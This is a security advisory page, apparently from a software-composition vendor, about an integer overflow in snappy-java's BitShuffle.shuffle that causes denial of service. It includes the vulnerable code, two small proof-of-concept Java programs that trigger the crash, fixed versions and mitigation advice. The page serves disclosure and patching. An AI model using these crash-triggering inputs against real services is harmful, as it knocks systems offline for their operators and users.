GHSA-pqr6-cmr2-h8hf is a medium-severity (CVSS 5.9) CWE-190 vulnerability in org.xerial.snappy:snappy-java. 1 public exploit reference exists, so weaponization risk is real. A fix is available for org.xerial.snappy:snappy-java — see the affected versions and patch details below.
snappy-java's Integer Overflow vulnerability in shuffle leads to DoS
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-pqr6-cmr2-h8hf.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-pqr6-cmr2-h8hf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.xerial.snappy:snappy-javaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.
Impact
Denial of Service
Description
The function shuffle(int[] input) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.
public static byte[] shuffle(int[] input) throws IOException {
byte[] output = new byte[input.length * 4];
int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
assert(numProcessed == input.length * 4);
return output;
}
Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.
Steps To Reproduce
Compile and run the following code:
package org.example;
import org.xerial.snappy.BitShuffle;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
int[] original = new int[0x40000000];
byte[] shuffled = BitShuffle.shuffle(original);
System.out.println(shuffled[0]);
}
}
The program will crash, showing the following error (or similar):
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
at org.example.Main.main(Main.java:12)
Process finished with exit code 1
Alternatively - compile and run the following code:
package org.example;
import org.xerial.snappy.BitShuffle;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
int[] original = new int[0x20000000];
byte[] shuffled = BitShuffle.shuffle(original);
}
}
The program will crash with the following error (or similar):
Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
at org.example.Main.main(Main.java:11)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.xerial.snappy:snappy-java | all versions | 1.1.10.1org.xerial.snappy:snappy-java:1.1.10.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xerial.snappy:snappy-java, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.xerial.snappy:snappy-java to 1.1.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pqr6-cmr2-h8hf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-pqr6-cmr2-h8hf can be triaged on real exposure rather than presence alone.
Tailored to GHSA-pqr6-cmr2-h8hf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AMQ Streams 2.5.0 | see advisory | RHSA-2023:5165 |
| Red Hat build of Quarkus 2.13.9.Final | org.xerial.snappy/snappy-java:1.1.10.5-redhat-00001 | RHSA-2023:7700 |
Frequently Asked Questions
Is GHSA-pqr6-cmr2-h8hf in your dependencies?
O3 Security finds GHSA-pqr6-cmr2-h8hf across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.